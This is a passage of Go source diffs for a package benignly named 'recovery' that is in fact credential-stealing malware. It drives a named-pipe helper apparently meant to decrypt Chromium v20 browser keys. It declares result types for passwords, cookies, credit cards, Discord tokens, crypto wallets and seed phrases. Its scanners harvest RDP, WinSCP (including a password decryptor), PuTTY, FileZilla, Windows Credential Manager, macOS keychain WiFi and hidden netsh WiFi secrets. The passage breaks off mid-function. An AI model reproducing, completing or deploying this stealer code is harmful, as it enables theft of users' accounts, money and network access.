||||
return fmt.Errorf("write length: %w", err)
|
||||
}
|
||||
|
||||
if length > 0 {
|
||||
var totalWritten uint32
|
||||
for totalWritten < length {
|
||||
var n uint32
|
||||
err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return fmt.Errorf("write data: %w", err)
|
||||
}
|
||||
totalWritten += n
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return 0, nil, fmt.Errorf("pipe session closed")
|
||||
}
|
||||
|
||||
var lengthBuf [4]byte
|
||||
var totalRead uint32
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
|
||||
for totalRead < 4 {
|
||||
if time.Now().After(deadline) {
|
||||
return 0, nil, fmt.Errorf("pipe recv timeout")
|
||||
}
|
||||
|
||||
var avail uint32
|
||||
r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
|
||||
if r == 0 {
|
||||
return 0, nil, fmt.Errorf("PeekNamedPipe failed")
|
||||
}
|
||||
if avail < 4-totalRead {
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
|
||||
var n uint32
|
||||
err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return 0, nil, fmt.Errorf("read length: %w", err)
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
|
||||
if totalLen < 1 || totalLen > 100*1024*1024 {
|
||||
return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
|
||||
}
|
||||
|
||||
buf := make([]byte, totalLen)
|
||||
totalRead = 0
|
||||
for totalRead < totalLen {
|
||||
var n uint32
|
||||
err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
|
||||
if err != nil || n == 0 {
|
||||
return 0, nil, fmt.Errorf("read data: %w", err)
|
||||
}
|
||||
totalRead += n
|
||||
}
|
||||
|
||||
status = buf[0]
|
||||
data = buf[1:]
|
||||
return status, data, nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) Close() {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
|
||||
if s.closed {
|
||||
return
|
||||
}
|
||||
s.closed = true
|
||||
|
||||
s.sendExitLocked()
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
procDisconnectNamedPipe.Call(uintptr(s.hPipe))
|
||||
windows.CloseHandle(s.hPipe)
|
||||
|
||||
if s.ownsProcess && s.hProcess != 0 {
|
||||
if s.job != 0 {
|
||||
windows.CloseHandle(s.job)
|
||||
s.job = 0
|
||||
}
|
||||
windows.TerminateProcess(s.hProcess, 0)
|
||||
windows.WaitForSingleObject(s.hProcess, 3000)
|
||||
windows.CloseHandle(s.hProcess)
|
||||
} else if s.hProcess != 0 {
|
||||
windows.CloseHandle(s.hProcess)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
|
||||
h := s.hProcess
|
||||
if h == 0 {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
|
||||
if ret != uintptr(windows.WAIT_OBJECT_0) {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
wasClosed := s.closed
|
||||
s.mu.Unlock()
|
||||
if wasClosed {
|
||||
return
|
||||
}
|
||||
var code uint32
|
||||
if err := windows.GetExitCodeProcess(h, &code); err != nil {
|
||||
return
|
||||
}
|
||||
logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *PipeSession) sendExitLocked() {
|
||||
exitCmd := []byte("EXIT")
|
||||
length := uint32(len(exitCmd))
|
||||
lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
|
||||
windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
|
||||
windows.WriteFile(s.hPipe, exitCmd, nil, nil)
|
||||
}
|
||||
|
||||
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
|
||||
cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
|
||||
if err := s.pipeSend([]byte(cmd)); err != nil {
|
||||
return nil, fmt.Errorf("send KEY command: %w", err)
|
||||
}
|
||||
|
||||
status, data, err := s.pipeRecv()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recv KEY response: %w", err)
|
||||
}
|
||||
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("decrypt failed: %s", string(data))
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
|
||||
cmd := fmt.Sprintf("READ:%s", path)
|
||||
if err := s.pipeSend([]byte(cmd)); err != nil {
|
||||
return nil, fmt.Errorf("send READ command: %w", err)
|
||||
}
|
||||
|
||||
status, data, err := s.pipeRecv()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("recv READ response: %w", err)
|
||||
}
|
||||
|
||||
if status != 0 {
|
||||
return nil, fmt.Errorf("read failed: %s", string(data))
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
var ActivePipeSession *PipeSession
|
||||
@@ -0,0 +1,21 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
type PipeSession struct{}
|
||||
|
||||
var ActivePipeSession *PipeSession
|
||||
|
||||
func (s *PipeSession) Close() {}
|
||||
|
||||
func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
|
||||
func (s *PipeSession) ReadFile(path string) ([]byte, error) {
|
||||
return nil, errors.New("not supported")
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"recovery/recovery/fingerprint"
|
||||
"recovery/recovery/scanner"
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type CollectOptions = types.CollectOptions
|
||||
type CollectionResult = types.CollectionResult
|
||||
type Payload = types.Payload
|
||||
type BrowserConfig = types.BrowserConfig
|
||||
type ProfileInfo = types.ProfileInfo
|
||||
type ResolvedKeys = types.ResolvedKeys
|
||||
type PasswordResult = types.PasswordResult
|
||||
type CookieResult = types.CookieResult
|
||||
type AutofillResult = types.AutofillResult
|
||||
type HistoryResult = types.HistoryResult
|
||||
type BookmarkResult = types.BookmarkResult
|
||||
type CreditCardResult = types.CreditCardResult
|
||||
type DiscordTokenResult = types.DiscordTokenResult
|
||||
type FileResult = types.FileResult
|
||||
type ExtensionResult = types.ExtensionResult
|
||||
type WalletResult = types.WalletResult
|
||||
type TelegramResult = types.TelegramResult
|
||||
type KeyResult = types.KeyResult
|
||||
type SeedResult = types.SeedResult
|
||||
type AppCredentialResult = types.AppCredentialResult
|
||||
type GamingResult = types.GamingResult
|
||||
type SteamResult = types.SteamResult
|
||||
type SteamTokenResult = types.SteamTokenResult
|
||||
type GameInfo = types.GameInfo
|
||||
type BattleNetResult = types.BattleNetResult
|
||||
type EpicResult = types.EpicResult
|
||||
type RiotResult = types.RiotResult
|
||||
type UplayResult = types.UplayResult
|
||||
type VPNResult = types.VPNResult
|
||||
type NordVPNResult = types.NordVPNResult
|
||||
type WireGuardResult = types.WireGuardResult
|
||||
type OpenVPNResult = types.OpenVPNResult
|
||||
type MullvadResult = types.MullvadResult
|
||||
type FingerprintResult = fingerprint.Result
|
||||
type FingerprintJSResult = fingerprint.JSResult
|
||||
|
||||
func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() }
|
||||
func ScanFiles() []FileResult { return scanner.ScanFiles() }
|
||||
func ScanWallets() []WalletResult { return scanner.ScanWallets() }
|
||||
func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() }
|
||||
func ScanKeys() []KeyResult { return scanner.ScanKeys() }
|
||||
func ScanApps() []AppCredentialResult { return scanner.ScanApps() }
|
||||
func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) }
|
||||
func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) }
|
||||
func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) }
|
||||
func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() }
|
||||
func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
|
||||
|
||||
func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
|
||||
return scanner.ScanSeeds(files, passwords, autofill)
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func ScanApps() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
results = append(results, scanFileZillaUnix()...)
|
||||
if runtime.GOOS == "darwin" {
|
||||
results = append(results, scanWiFiDarwin()...)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
type fzServerUnix struct {
|
||||
XMLName xml.Name `xml:"Server"`
|
||||
Host string `xml:"Host"`
|
||||
Port int `xml:"Port"`
|
||||
Protocol int `xml:"Protocol"`
|
||||
User string `xml:"User"`
|
||||
Pass string `xml:"Pass"`
|
||||
}
|
||||
|
||||
type fzSiteManagerUnix struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServerUnix `xml:"Servers>Server"`
|
||||
}
|
||||
|
||||
type fzRecentServersUnix struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServerUnix `xml:"RecentServers>Server"`
|
||||
}
|
||||
|
||||
func scanFileZillaUnix() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
fzDir := filepath.Join(home, ".config", "filezilla")
|
||||
if runtime.GOOS == "darwin" {
|
||||
fzDir = filepath.Join(home, ".config", "filezilla")
|
||||
}
|
||||
|
||||
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
||||
path := filepath.Join(fzDir, file)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var servers []fzServerUnix
|
||||
if file == "sitemanager.xml" {
|
||||
var sm fzSiteManagerUnix
|
||||
if xml.Unmarshal(data, &sm) == nil {
|
||||
servers = sm.Servers
|
||||
}
|
||||
} else {
|
||||
var rs fzRecentServersUnix
|
||||
if xml.Unmarshal(data, &rs) == nil {
|
||||
servers = rs.Servers
|
||||
}
|
||||
}
|
||||
|
||||
for _, s := range servers {
|
||||
if s.Host == "" {
|
||||
continue
|
||||
}
|
||||
port := s.Port
|
||||
if port == 0 {
|
||||
port = 21
|
||||
}
|
||||
protocol := "ftp"
|
||||
switch s.Protocol {
|
||||
case 1:
|
||||
protocol = "sftp"
|
||||
case 3, 4:
|
||||
protocol = "ftps"
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "FileZilla",
|
||||
Host: s.Host,
|
||||
Port: port,
|
||||
Username: s.User,
|
||||
Password: s.Pass,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanWiFiDarwin() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var networks []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
name := strings.TrimSpace(line)
|
||||
if name == "" || strings.HasPrefix(name, "Preferred networks") {
|
||||
continue
|
||||
}
|
||||
networks = append(networks, name)
|
||||
}
|
||||
|
||||
for _, name := range networks {
|
||||
pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
|
||||
password := ""
|
||||
if err == nil {
|
||||
password = strings.TrimSpace(string(pw))
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WiFi",
|
||||
Host: name,
|
||||
Password: password,
|
||||
Protocol: "wifi",
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,614 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var (
|
||||
advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
|
||||
procCredFree = advapi32.NewProc("CredFree")
|
||||
)
|
||||
|
||||
const (
|
||||
credTypeGeneric = 1
|
||||
credTypeDomainPassword = 2
|
||||
credTypeDomainCertificate = 3
|
||||
)
|
||||
|
||||
type winCredential struct {
|
||||
Flags uint32
|
||||
Type uint32
|
||||
TargetName *uint16
|
||||
Comment *uint16
|
||||
LastWritten syscall.Filetime
|
||||
CredentialBlobSize uint32
|
||||
CredentialBlob *byte
|
||||
Persist uint32
|
||||
AttributeCount uint32
|
||||
Attributes uintptr
|
||||
TargetAlias *uint16
|
||||
UserName *uint16
|
||||
}
|
||||
|
||||
func ScanApps() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
results = append(results, scanRDP()...)
|
||||
results = append(results, scanWinSCP()...)
|
||||
results = append(results, scanPuTTY()...)
|
||||
results = append(results, scanFileZilla()...)
|
||||
results = append(results, scanCredentialManager()...)
|
||||
results = append(results, scanWiFi()...)
|
||||
return results
|
||||
}
|
||||
|
||||
// ── RDP ────────────────────────────────────────────────────────────────
|
||||
|
||||
func scanRDP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
// Registry: saved connection history with usernames
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err == nil {
|
||||
defer k.Close()
|
||||
servers, _ := k.ReadSubKeyNames(-1)
|
||||
for _, server := range servers {
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
username, _, _ := sk.GetStringValue("UsernameHint")
|
||||
sk.Close()
|
||||
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: server,
|
||||
Port: 3389,
|
||||
Username: username,
|
||||
Protocol: "rdp",
|
||||
}
|
||||
|
||||
// Try to get the password from Credential Manager
|
||||
pw := credManagerLookup("TERMSRV/" + server)
|
||||
if pw != "" {
|
||||
r.Password = pw
|
||||
}
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
|
||||
// Also scan Credential Manager for TERMSRV/* entries not in the registry
|
||||
creds := enumCredentials()
|
||||
seen := make(map[string]bool)
|
||||
for _, r := range results {
|
||||
seen[strings.ToLower(r.Host)] = true
|
||||
}
|
||||
for _, c := range creds {
|
||||
target := strings.ToLower(c.target)
|
||||
if !strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
host := c.target[len("TERMSRV/"):]
|
||||
if seen[strings.ToLower(host)] {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: host,
|
||||
Port: 3389,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: "rdp",
|
||||
})
|
||||
}
|
||||
|
||||
// Scan for .rdp files
|
||||
results = append(results, scanRDPFiles()...)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanRDPFiles() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
dirs := []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
|
||||
for _, dir := range dirs {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(dir, e.Name())
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
r := parseRDPFile(string(data))
|
||||
if r.Host != "" {
|
||||
r.Extra = path
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func parseRDPFile(content string) types.AppCredentialResult {
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Protocol: "rdp",
|
||||
Port: 3389,
|
||||
}
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
parts := strings.SplitN(line, ":", 3)
|
||||
if len(parts) < 3 {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(strings.TrimSpace(parts[0]))
|
||||
val := strings.TrimSpace(parts[2])
|
||||
switch key {
|
||||
case "full address":
|
||||
if idx := strings.LastIndex(val, ":"); idx > 0 {
|
||||
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
|
||||
r.Host = val[:idx]
|
||||
r.Port = p
|
||||
continue
|
||||
}
|
||||
}
|
||||
r.Host = val
|
||||
case "username":
|
||||
r.Username = val
|
||||
case "server port":
|
||||
if p, err := strconv.Atoi(val); err == nil {
|
||||
r.Port = p
|
||||
}
|
||||
}
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// ── WinSCP ─────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWinSCP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
encPassword, _, _ := sk.GetStringValue("Password")
|
||||
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
|
||||
protocol := "sftp"
|
||||
switch fsProtocol {
|
||||
case 0:
|
||||
protocol = "sftp"
|
||||
case 5:
|
||||
protocol = "ftp"
|
||||
case 1:
|
||||
protocol = "scp"
|
||||
}
|
||||
|
||||
password := ""
|
||||
if encPassword != "" {
|
||||
password = decryptWinSCPPassword(encPassword, hostname, username)
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WinSCP",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Password: password,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func decryptWinSCPPassword(hex, hostname, username string) string {
|
||||
key := username + hostname
|
||||
|
||||
decNextChar := func(s string, idx int) (byte, int) {
|
||||
if idx+2 > len(s) {
|
||||
return 0, idx + 2
|
||||
}
|
||||
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
|
||||
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
|
||||
if err1 != nil || err2 != nil {
|
||||
return 0, idx + 2
|
||||
}
|
||||
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
|
||||
}
|
||||
|
||||
idx := 0
|
||||
flag, idx := decNextChar(hex, idx)
|
||||
|
||||
if flag == 0xFF {
|
||||
return ""
|
||||
}
|
||||
|
||||
_, idx = decNextChar(hex, idx) // skip unused byte
|
||||
|
||||
length, idx := decNextChar(hex, idx)
|
||||
|
||||
delLen, idx := decNextChar(hex, idx)
|
||||
for i := 0; i < int(delLen); i++ {
|
||||
_, idx = decNextChar(hex, idx)
|
||||
}
|
||||
|
||||
raw := make([]byte, 0, int(length))
|
||||
for i := 0; i < int(length); i++ {
|
||||
c, newIdx := decNextChar(hex, idx)
|
||||
idx = newIdx
|
||||
raw = append(raw, c)
|
||||
}
|
||||
|
||||
if len(key) > 0 {
|
||||
decrypted := make([]byte, len(raw))
|
||||
for i, c := range raw {
|
||||
decrypted[i] = c ^ key[i%len(key)]
|
||||
}
|
||||
return string(decrypted)
|
||||
}
|
||||
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
// ── PuTTY ──────────────────────────────────────────────────────────────
|
||||
|
||||
func scanPuTTY() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
protocol, _, _ := sk.GetStringValue("Protocol")
|
||||
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
|
||||
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
if protocol == "" {
|
||||
protocol = "ssh"
|
||||
}
|
||||
|
||||
extra := ""
|
||||
if keyFile != "" || proxyHost != "" {
|
||||
parts := []string{}
|
||||
if keyFile != "" {
|
||||
parts = append(parts, "key:"+keyFile)
|
||||
}
|
||||
if proxyHost != "" {
|
||||
parts = append(parts, "proxy:"+proxyHost)
|
||||
}
|
||||
extra = strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// URL-decode session name for display purposes
|
||||
decodedName := strings.ReplaceAll(sess, "%20", " ")
|
||||
_ = decodedName
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "PuTTY",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Protocol: protocol,
|
||||
Extra: extra,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── FileZilla ──────────────────────────────────────────────────────────
|
||||
|
||||
type fzServer struct {
|
||||
XMLName xml.Name `xml:"Server"`
|
||||
Host string `xml:"Host"`
|
||||
Port int `xml:"Port"`
|
||||
Protocol int `xml:"Protocol"`
|
||||
User string `xml:"User"`
|
||||
Pass string `xml:"Pass"`
|
||||
}
|
||||
|
||||
type fzSiteManager struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"Servers>Server"`
|
||||
}
|
||||
|
||||
type fzRecentServers struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"RecentServers>Server"`
|
||||
}
|
||||
|
||||
func scanFileZilla() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
return nil
|
||||
}
|
||||
fzDir := filepath.Join(appdata, "FileZilla")
|
||||
|
||||
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
||||
path := filepath.Join(fzDir, file)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var servers []fzServer
|
||||
if file == "sitemanager.xml" {
|
||||
var sm fzSiteManager
|
||||
if xml.Unmarshal(data, &sm) == nil {
|
||||
servers = sm.Servers
|
||||
}
|
||||
} else {
|
||||
var rs fzRecentServers
|
||||
if xml.Unmarshal(data, &rs) == nil {
|
||||
servers = rs.Servers
|
||||
}
|
||||
}
|
||||
|
||||
for _, s := range servers {
|
||||
if s.Host == "" {
|
||||
continue
|
||||
}
|
||||
port := s.Port
|
||||
if port == 0 {
|
||||
port = 21
|
||||
}
|
||||
protocol := "ftp"
|
||||
switch s.Protocol {
|
||||
case 1:
|
||||
protocol = "sftp"
|
||||
case 3, 4:
|
||||
protocol = "ftps"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "FileZilla",
|
||||
Host: s.Host,
|
||||
Port: port,
|
||||
Username: s.User,
|
||||
Password: s.Pass,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── Windows Credential Manager ─────────────────────────────────────────
|
||||
|
||||
type credEntry struct {
|
||||
target string
|
||||
username string
|
||||
password string
|
||||
credType uint32
|
||||
}
|
||||
|
||||
func enumCredentials() []credEntry {
|
||||
var count uint32
|
||||
var credsPtr uintptr
|
||||
|
||||
ret, _, _ := procCredEnumerateW.Call(
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&credsPtr)),
|
||||
)
|
||||
if ret == 0 || count == 0 {
|
||||
return nil
|
||||
}
|
||||
defer procCredFree.Call(credsPtr)
|
||||
|
||||
var results []credEntry
|
||||
for i := uint32(0); i < count; i++ {
|
||||
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
|
||||
c := (*winCredential)(unsafe.Pointer(entryPtr))
|
||||
target := windows.UTF16PtrToString(c.TargetName)
|
||||
username := ""
|
||||
if c.UserName != nil {
|
||||
username = windows.UTF16PtrToString(c.UserName)
|
||||
}
|
||||
password := ""
|
||||
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
|
||||
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
|
||||
password = string(blob)
|
||||
}
|
||||
results = append(results, credEntry{
|
||||
target: target,
|
||||
username: username,
|
||||
password: password,
|
||||
credType: c.Type,
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func credManagerLookup(target string) string {
|
||||
target = strings.ToLower(target)
|
||||
for _, c := range enumCredentials() {
|
||||
if strings.ToLower(c.target) == target {
|
||||
return c.password
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func scanCredentialManager() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
for _, c := range enumCredentials() {
|
||||
target := strings.ToLower(c.target)
|
||||
// Skip TERMSRV entries (already handled by RDP scanner)
|
||||
if strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
// Skip entries with no useful data
|
||||
if c.username == "" && c.password == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
typeName := "generic"
|
||||
switch c.credType {
|
||||
case credTypeDomainPassword:
|
||||
typeName = "domain"
|
||||
case credTypeDomainCertificate:
|
||||
typeName = "certificate"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "CredManager",
|
||||
Host: c.target,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: typeName,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── WiFi ───────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWiFi() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profiles")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var profiles []string
|
||||
